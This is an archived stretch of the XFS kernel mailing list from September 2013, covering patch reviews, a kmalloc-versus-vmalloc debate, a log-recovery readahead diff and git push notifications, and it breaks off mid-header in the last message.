xfs_dir3_sfe_put_ino Message-ID: <20130903193541.GM1935@sgi.com> References: <1377843681-31878-1-git-send-email-david@fromorbit.com> <1377843681-31878-2-git-send-email-david@fromorbit.com> <20130902021559.GC23571@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130902021559.GC23571@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Dave, On Mon, Sep 02, 2013 at 12:15:59PM +1000, Dave Chinner wrote: > On Fri, Aug 30, 2013 at 04:21:20PM +1000, Dave Chinner wrote: > > From: Dave Chinner > > > > So fix up the export in xfs_dir2.h that is needed by userspace. > > > > Signed-off-by: Dave Chinner > > Well, this patch now causes a compilation failure. Why? > xfs_dir3_sfe_put_ino() got marked as static because it didn't have a > matching export. > > Perhaps we should be a little less hasty in merging auto-generated > patches from random build-farms? The patch was wrong - fixing the > prototype like in v1 of this patch was the correct thing to do.... > > So, the updated patch below adds the revert. > > Cheers, > > Dave. > > PS: Ben, when you merge a patch from a reply in an email thread, > can you please pull the commit subject line from the patch, not the > title of the email thread? One of the recent commits got it wrong. > i.e. commit 3780437 > > "XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file:" > > should have had the title > > "xfs: fix calculation of the number of node entries in a dir3 node" I'll keep an eye out, thanks. > -- > Dave Chinner > david@fromorbit.com > > xfs: dtype changed xfs_dir2_sfe_put_ino to xfs_dir3_sfe_put_ino > > From: Dave Chinner > > So fix up the export in xfs_dir2.h that is needed by userspace. > > > > Now xfs_dir3_sfe_put_ino has been made static. Revert 98f7462 ("xfs: > xfs_dir3_sfe_put_ino can be static") to being non static so that the > code shared with userspace is identical again. > > Signed-off-by: Dave Chinner Ah.. sorry I missed that it's used in your userspace series. Could you repost your userspace series soon? Reviewed-by: Ben Myers Thanks, Ben From david@fromorbit.com Tue Sep 3 14:56:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 582A87F50 for ; Tue, 3 Sep 2013 14:56:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E2B71AC001 for ; Tue, 3 Sep 2013 12:56:48 -0700 (PDT) X-ASG-Debug-ID: 1378238206-04bdf02f22d4a170001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id YmiMicz8VgwfFK3z for ; Tue, 03 Sep 2013 12:56:47 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtUGAKE+JlJ5LJ62/2dsb2JhbABbgweDRLkqhTWBLRd0giQBAQU6HCMQCAMOCgklDwUlAyETiAG5WxaPYAeDHYEAA5d0kWeDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Sep 2013 05:26:45 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VGwiQ-0004VB-6n; Wed, 04 Sep 2013 05:56:42 +1000 Date: Wed, 4 Sep 2013 05:56:42 +1000 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: more shutdown-related fixes Message-ID: <20130903195642.GE23571@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/2] xfs: more shutdown-related fixes References: <1378208858-20557-1-git-send-email-david@fromorbit.com> <20130903190210.GA23072@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130903190210.GA23072@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378238206 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140246 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 12:02:10PM -0700, Christoph Hellwig wrote: > On Tue, Sep 03, 2013 at 09:47:36PM +1000, Dave Chinner wrote: > > Hi folks, > > > > More fixes as a result of forced shutdown testing. The first is > > fixing yet another hole in the buf log item freein logic when a > > transaction is aborted, and the other removes the asserts from the > > inode buffer checking so that verifiers return errors rather than > > crashing the system. > > Btw, I've been wondering for a while if we need a major change to how > the buf item refcounting works. All these little special cases in there > are utterly non-intuitive. I've not looked very deep yet, but a normal > scheme where every reference to it increments the refcount, and we > simply free it when that hits zero should work here as well. We'd > still need flags for the abort and clean conditions, but it would still > be way simpler than what we have now. Yes, it makes sense to do, but I haven't considered it yet as I have other things to worry about right now. We'd still need the AIL removal on abort, though, as that is still the last place we'll see it on a shutdown... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Sep 3 15:04:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A81B87F50 for ; Tue, 3 Sep 2013 15:04:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 953758F8035 for ; Tue, 3 Sep 2013 13:04:04 -0700 (PDT) X-ASG-Debug-ID: 1378238642-04cb6c2e9dd25f70001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id IxqgZay50lieZ37f for ; Tue, 03 Sep 2013 13:04:03 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtUGAMc/JlJ5LJ62/2dsb2JhbABbgweDRLkqhTWBLRd0giQBAQU6HCMQCAMYCSUPBSUDIROIAbldFo4hgT8Hgx2BAAOUG4NZkWeDMiqBLA Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Sep 2013 05:34:02 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VGwpV-0004Wn-3N; Wed, 04 Sep 2013 06:04:01 +1000 Date: Wed, 4 Sep 2013 06:04:01 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: fix some new memory allocation failures Message-ID: <20130903200401.GF23571@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/2] xfs: fix some new memory allocation failures References: <1378119180-31380-1-git-send-email-david@fromorbit.com> <5224C4E9.8080604@sgi.com> <20130902222004.GI12779@dastard> <5225DF07.4080509@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5225DF07.4080509@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378238642 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140246 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 08:07:19AM -0500, Mark Tinguely wrote: > On 09/02/13 17:20, Dave Chinner wrote: > >On Mon, Sep 02, 2013 at 12:03:37PM -0500, Mark Tinguely wrote: > >>On 09/02/13 05:52, Dave Chinner wrote: > >>>Hi folks, > >>> > >>>These failures are a result of order-4 allocations being done on v5 > >>>filesystems to support the large ACL count xattrs. The first patch > >>>puts out usual falbback to vmalloc workaround in place. The second > >>>patch factors all the places we now have this fallback-to-vmalloc > >>>and makes it transparent to the callers. > >>> > >>>Cheers, > >>> > >>>Dave. > >> > >>Thanks for clean up. Broken record time: Do we really need order > >>allocation in the filesystem? Esp in xfs_ioctl.c. > > > >I don't understand your question. Are you asking why we need high > >order allocation? > > > >Cheers, > > > >Dave. > > In patch 2, why not drop the physically contiguous allocation > attempt and just do the virtually contiguous allocation? Because: a) virtual memory space is extremely limited on some platforms - we regularly get people reporting that they've exhausted vmalloc space on 32 bit systems. b) when there is free contiguous memory, allocating that contiguous memory is much faster than allocating virtual memory. c) virtual memory access is slower than physical memory access and it puts pressure on the page tables. IOWs, we want to avoid allocating virtual memory if at all possible. Cheers, Dave. -- Dave Chinner david@fromorbit.com From tinguely@sgi.com Tue Sep 3 15:46:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C48357F50 for ; Tue, 3 Sep 2013 15:46:28 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 94BDC30407F; Tue, 3 Sep 2013 13:46:25 -0700 (PDT) Message-ID: <52264AA0.4010501@sgi.com> Date: Tue, 03 Sep 2013 15:46:24 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: fix some new memory allocation failures References: <1378119180-31380-1-git-send-email-david@fromorbit.com> <5224C4E9.8080604@sgi.com> <20130902222004.GI12779@dastard> <5225DF07.4080509@sgi.com> <20130903200401.GF23571@dastard> In-Reply-To: <20130903200401.GF23571@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/03/13 15:04, Dave Chinner wrote: > On Tue, Sep 03, 2013 at 08:07:19AM -0500, Mark Tinguely wrote: >> On 09/02/13 17:20, Dave Chinner wrote: >>> On Mon, Sep 02, 2013 at 12:03:37PM -0500, Mark Tinguely wrote: >>>> On 09/02/13 05:52, Dave Chinner wrote: >>>>> Hi folks, >>>>> >>>>> These failures are a result of order-4 allocations being done on v5 >>>>> filesystems to support the large ACL count xattrs. The first patch >>>>> puts out usual falbback to vmalloc workaround in place. The second >>>>> patch factors all the places we now have this fallback-to-vmalloc >>>>> and makes it transparent to the callers. >>>>> >>>>> Cheers, >>>>> >>>>> Dave. >>>> >>>> Thanks for clean up. Broken record time: Do we really need order >>>> allocation in the filesystem? Esp in xfs_ioctl.c. >>> >>> I don't understand your question. Are you asking why we need high >>> order allocation? >>> >>> Cheers, >>> >>> Dave. >> >> In patch 2, why not drop the physically contiguous allocation >> attempt and just do the virtually contiguous allocation? > > Because: > > a) virtual memory space is extremely limited on some > platforms - we regularly get people reporting that they've > exhausted vmalloc space on 32 bit systems. > b) when there is free contiguous memory, allocating that > contiguous memory is much faster than allocating > virtual memory. > c) virtual memory access is slower than physical memory > access and it puts pressure on the page tables. > > IOWs, we want to avoid allocating virtual memory if at all possible. > > Cheers, > > Dave. Ummm, It is all virtual memory it all runs through page tables. The MMU works on virtual addresses. It appears Linux has a special range of kernel virtual memory for the physical contiguous allocations and range for sparse memory allocation. XFS does not need the physical space that backs the kernel virtual address to be contiguous - other parts of the kernel do. Why put pressure on the drivers that need order allocations when we do not need it? --Mark. From david@fromorbit.com Tue Sep 3 16:17:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A7DE47CBF for ; Tue, 3 Sep 2013 16:17:05 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7FB00304077 for ; Tue, 3 Sep 2013 14:17:05 -0700 (PDT) X-ASG-Debug-ID: 1378243023-04cbb02c3bd1ccf0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id aEEr0ta9qBHR47aF for ; Tue, 03 Sep 2013 14:17:03 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Sep 2013 06:46:47 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VGxxs-0004fl-2l; Wed, 04 Sep 2013 07:16:44 +1000 Date: Wed, 4 Sep 2013 07:16:44 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: fix some new memory allocation failures Message-ID: <20130903211643.GG23571@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/2] xfs: fix some new memory allocation failures References: <1378119180-31380-1-git-send-email-david@fromorbit.com> <5224C4E9.8080604@sgi.com> <20130902222004.GI12779@dastard> <5225DF07.4080509@sgi.com> <20130903200401.GF23571@dastard> <52264AA0.4010501@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52264AA0.4010501@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378243023 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140250 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On Tue, Sep 03, 2013 at 03:46:24PM -0500, Mark Tinguely wrote: > On 09/03/13 15:04, Dave Chinner wrote: > >On Tue, Sep 03, 2013 at 08:07:19AM -0500, Mark Tinguely wrote: > >>On 09/02/13 17:20, Dave Chinner wrote: > >>>On Mon, Sep 02, 2013 at 12:03:37PM -0500, Mark Tinguely wrote: > >>>>On 09/02/13 05:52, Dave Chinner wrote: > >>>>>Hi folks, > >>>>> > >>>>>These failures are a result of order-4 allocations being done on v5 > >>>>>filesystems to support the large ACL count xattrs. The first patch > >>>>>puts out usual falbback to vmalloc workaround in place. The second > >>>>>patch factors all the places we now have this fallback-to-vmalloc > >>>>>and makes it transparent to the callers. > >>>>> > >>>>>Cheers, > >>>>> > >>>>>Dave. > >>>> > >>>>Thanks for clean up. Broken record time: Do we really need order > >>>>allocation in the filesystem? Esp in xfs_ioctl.c. > >>> > >>>I don't understand your question. Are you asking why we need high > >>>order allocation? > >>> > >>>Cheers, > >>> > >>>Dave. > >> > >>In patch 2, why not drop the physically contiguous allocation > >>attempt and just do the virtually contiguous allocation? > > > >Because: > > > > a) virtual memory space is extremely limited on some > > platforms - we regularly get people reporting that they've > > exhausted vmalloc space on 32 bit systems. > > b) when there is free contiguous memory, allocating that > > contiguous memory is much faster than allocating > > virtual memory. > > c) virtual memory access is slower than physical memory > > access and it puts pressure on the page tables. > > > >IOWs, we want to avoid allocating virtual memory if at all possible. > > > >Cheers, > > > >Dave. > > Ummm, It is all virtual memory it all runs through page tables. The > MMU works on virtual addresses. Sure, but there's a massive difference between kmalloc and vmalloc()'d memory... > It appears Linux has a special range of kernel virtual memory for > the physical contiguous allocations and range for sparse memory > allocation. ... kernel memory is directly mapped as there is a 1:! relationship between the virtual address of kernel memory and the physical location of the memory. vmalloc memory has an arbitrary virtual to physical mapping that has to be looked in a separate structure on every page fault, same as for any userspace page fault. vmalloc space can become fragmented, be exhausted, etc, just like kmalloc memory can be. Indeed, there are situations where vmalloc can fail yet kmalloc will succeed... > XFS does not need the physical space that backs the kernel virtual > address to be contiguous - other parts of the kernel do. Why put > pressure on the drivers that need order allocations when we do not > need it? Let's just quote Linus from 2003, shall we: http://yarchive.net/comp/linux/vmalloc.html | > I think it'd make more sense to only use vmalloc when it's explicitly | > too big for kmalloc - or simply switch on num_online_cpus > 100 or | > whatever a sensible cutoff is (ie nobody but you would ever see this ;-)) | | No, please please please don't do these things. | | vmalloc() is NOT SOMETHING YOU SHOULD EVER USE! It's only valid for when | you _need_ a big array, and you don't have any choice. It's slow, and it's | a very restricted resource: it's a global resource that is literally | restricted to a few tens of megabytes. It should be _very_ carefully used. | | There are basically no valid new uses of it. There's a few valid legacy | users (I think the file descriptor array), and there are some drivers that | use it (which is crap, but drivers are drivers), and it's _really_ valid | only for modules. Nothing else. | | Basically: if you think you need more memory than a kmalloc() can give, | you need to re-organize your data structures. To either not need a big | area, or to be able to allocate it in chunks. | | Linus Linus will say exactly the same thing today.... And that doesn't take into account that vmalloc() or vm_map_ram() inside an XFS transaction context can deadlock as page table entries use GFP_KERNEL allocation, and this can happen in a GFP_NOFS context in XFS... Seriously, there are excellent reasons for vmalloc being considered a bad thing and hence it's use is actively discouraged across the entire kernel space. We only use it where absolutely necessary to function correctly. Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Tue Sep 3 17:17:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8BD927F4E for ; Tue, 3 Sep 2013 17:17:15 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6FCD730407F; Tue, 3 Sep 2013 15:17:12 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 365884266DC; Tue, 3 Sep 2013 17:17:12 -0500 (CDT) Date: Tue, 3 Sep 2013 17:17:12 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: inode buffers may not be valid during recovery readahead Message-ID: <20130903221712.GN1935@sgi.com> References: <1377567577-24312-1-git-send-email-david@fromorbit.com> <20130830181520.GD1935@sgi.com> <20130831061420.GY12779@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130831061420.GY12779@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) Hi Dave, On Sat, Aug 31, 2013 at 04:14:20PM +1000, Dave Chinner wrote: > On Fri, Aug 30, 2013 at 01:15:20PM -0500, Ben Myers wrote: > > Dave, > > > > On Tue, Aug 27, 2013 at 11:39:37AM +1000, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > CRC enabled filesystems fail log recovery with 100% reliability on > > > xfstests xfs/085 with the following failure: > > > > Unfortunately I have not been able to hit this one... not sure why. > > > > > XFS (vdb): Mounting Filesystem > > > XFS (vdb): Starting recovery (logdev: internal) > > > XFS (vdb): Corruption detected. Unmount and run xfs_repair > > > XFS (vdb): bad inode magic/vsn daddr 144 #0 (magic=0) > > > XFS: Assertion failed: 0, file: fs/xfs/xfs_inode_buf.c, line: 95 > > > > > > The problem is that the inode buffer has not been recovered before > > > the readahead on the inode buffer is issued. The checkpoint being > > > recovered actually allocates the inode chunk we are doing readahead > > > from, so what comes from disk during readahead is essentially > > > random and the verifier barfs on it. > > > > > > This inode buffer readahead problem affects non-crc filesystems, > > > too, but xfstests does not trigger it at all on such > > > configurations.... > > > > > > Signed-off-by: Dave Chinner > > > > I've been mulling this one over for a bit, and I'm not quite sure this > > is correct: > > > > My feeling is that in light of commit 9222a9cf, if we do take part of a > > buffer back in time, the write verifier should fail. > > I don't see the connection between 9222a9cf ("xfs: don't shutdown > log recovery on validation errors") and this issue. 9222a9cf works > around are a longstanding architectural deficiency of log > recovery, while this is a completely new problem introduced by the > inode buffer readahead in log recovery. Commit 9222a9cf left buffer operations for inodes clear in the v2 inode case: @@ -1845,7 +1845,13 @@ xlog_recover_do_inode_buffer( xfs_agino_t *buffer_nextp; trace_xfs_log_recover_buf_inode_buf(mp->m_log, buf_f); - bp->b_ops = &xfs_inode_buf_ops; + + /* + * Post recovery validation only works properly on CRC enabled + * filesystems. + */ + if (xfs_sb_version_hascrc(&mp->m_sb)) + bp->b_ops = &xfs_inode_buf_ops; xlog_recover_commit_trans xlog_recover_items_pass2 xlog_recover_buffer_pass2 xlog_recover_do_inode_buffer if (xfs_sb_version_hascrc(&mp->m_sb)) bp->b_ops = &xfs_inode_buf_ops; My concern is that with the readahead we have: xlog_recover_commit_trans . xlog_recover_ra_pass2 . xlog_recover_inode_ra_pass2 . xfs_buf_readahead . xfs_buf_readahead_map . xfs_buf_read_map . if (!XFS_BUF_ISDONE(bp)) . bp->b_ops = ops; xlog_recover_items_pass2 xlog_recover_buffer_pass2 xlog_recover_do_inode_buffer if (xfs_sb_version_hascrc(&mp->m_sb)) bp->b_ops = &xfs_inode_buf_ops; Looks like we can set b_ops in xfs_buf_read_map in the v2 inode case and it would remain set through recovery when we intend it to be clear. If we needed to b_ops to be clear in commit 9222a9cf, I think it should also be clear in the readahead case. Here's what I suggest: --- fs/xfs/xfs_log_recover.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) Index: b/fs/xfs/xfs_log_recover.c =================================================================== --- a/fs/xfs/xfs_log_recover.c 2013-09-03 16:57:51.534388540 -0500 +++ b/fs/xfs/xfs_log_recover.c 2013-09-03 16:59:13.784398092 -0500 @@ -3309,7 +3309,9 @@ xlog_recover_inode_ra_pass2( return; xfs_buf_readahead(mp->m_ddev_targp, ilfp->ilf_blkno, - ilfp->ilf_len, &xfs_inode_buf_ra_ops); + ilfp->ilf_len, + xfs_sb_version_hascrc(&mp->m_sb) ? + &xfs_inode_buf_ra_ops : NULL); } STATIC void Thanks, Ben From bpm@oss.sgi.com Tue Sep 3 17:20:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 70ADA7F50; Tue, 3 Sep 2013 17:20:05 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. for-linus-v3.11-rc1-2-12225-g1d03c6f X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 914ed44b17dc30ce0d783e8e23fce58a1a92412c X-Git-Newrev: 1d03c6fa88af35e55047a1f2ab116f0fdf2f55aa Message-Id: <20130903222005.70ADA7F50@oss.sgi.com> Date: Tue, 3 Sep 2013 17:20:04 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 1d03c6f xfs: XFS_MOUNT_QUOTA_ALL needed by userspace 50fc5f7 xfs: dtype changed xfs_dir2_sfe_put_ino to xfs_dir3_sfe_put_ino from 914ed44b17dc30ce0d783e8e23fce58a1a92412c (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 1d03c6fa88af35e55047a1f2ab116f0fdf2f55aa Author: Dave Chinner Date: Fri Aug 30 16:21:21 2013 +1000 xfs: XFS_MOUNT_QUOTA_ALL needed by userspace So move it to a header file shared with userspace. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 50fc5f7accfeaaaa1bba07725f26945cf8033bb7 Author: Dave Chinner Date: Mon Sep 2 12:15:59 2013 +1000 xfs: dtype changed xfs_dir2_sfe_put_ino to xfs_dir3_sfe_put_ino So fix up the export in xfs_dir2.h that is needed by userspace. Now xfs_dir3_sfe_put_ino has been made static. Revert 98f7462 ("xfs: xfs_dir3_sfe_put_ino can be static") to being non static so that the code shared with userspace is identical again. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_dir2.h | 5 +++-- fs/xfs/xfs_dir2_sf.c | 2 +- fs/xfs/xfs_log_format.h | 6 ++++++ fs/xfs/xfs_quota.h | 7 ------- 4 files changed, 10 insertions(+), 10 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Tue Sep 3 17:20:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 5C15A7F59; Tue, 3 Sep 2013 17:20:15 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. for-linus-v3.11-rc1-2-12225-g1d03c6f X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 914ed44b17dc30ce0d783e8e23fce58a1a92412c X-Git-Newrev: 1d03c6fa88af35e55047a1f2ab116f0fdf2f55aa Message-Id: <20130903222015.5C15A7F59@oss.sgi.com> Date: Tue, 3 Sep 2013 17:20:14 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 1d03c6f xfs: XFS_MOUNT_QUOTA_ALL needed by userspace 50fc5f7 xfs: dtype changed xfs_dir2_sfe_put_ino to xfs_dir3_sfe_put_ino from 914ed44b17dc30ce0d783e8e23fce58a1a92412c (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 1d03c6fa88af35e55047a1f2ab116f0fdf2f55aa Author: Dave Chinner Date: Fri Aug 30 16:21:21 2013 +1000 xfs: XFS_MOUNT_QUOTA_ALL needed by userspace So move it to a header file shared with userspace. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 50fc5f7accfeaaaa1bba07725f26945cf8033bb7 Author: Dave Chinner Date: Mon Sep 2 12:15:59 2013 +1000 xfs: dtype changed xfs_dir2_sfe_put_ino to xfs_dir3_sfe_put_ino So fix up the export in xfs_dir2.h that is needed by userspace. Now xfs_dir3_sfe_put_ino has been made static. Revert 98f7462 ("xfs: xfs_dir3_sfe_put_ino can be static") to being non static so that the code shared with userspace is identical again. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_dir2.h | 5 +++-- fs/xfs/xfs_dir2_sf.c | 2 +- fs/xfs/xfs_log_format.h | 6 ++++++ fs/xfs/xfs_quota.h | 7 ------- 4 files changed, 10 insertions(+), 10 deletions(-) hooks/post-receive -- XFS development tree From bpm@sgi.com Tue Sep 3 17:21:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C14547F4E for ; Tue, 3 Sep 2013 17:21:31 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id A8BED8F8035; Tue, 3 Sep 2013 15:21:28 -0700 (PDT) Received: by whiskey.americas.sgi.com 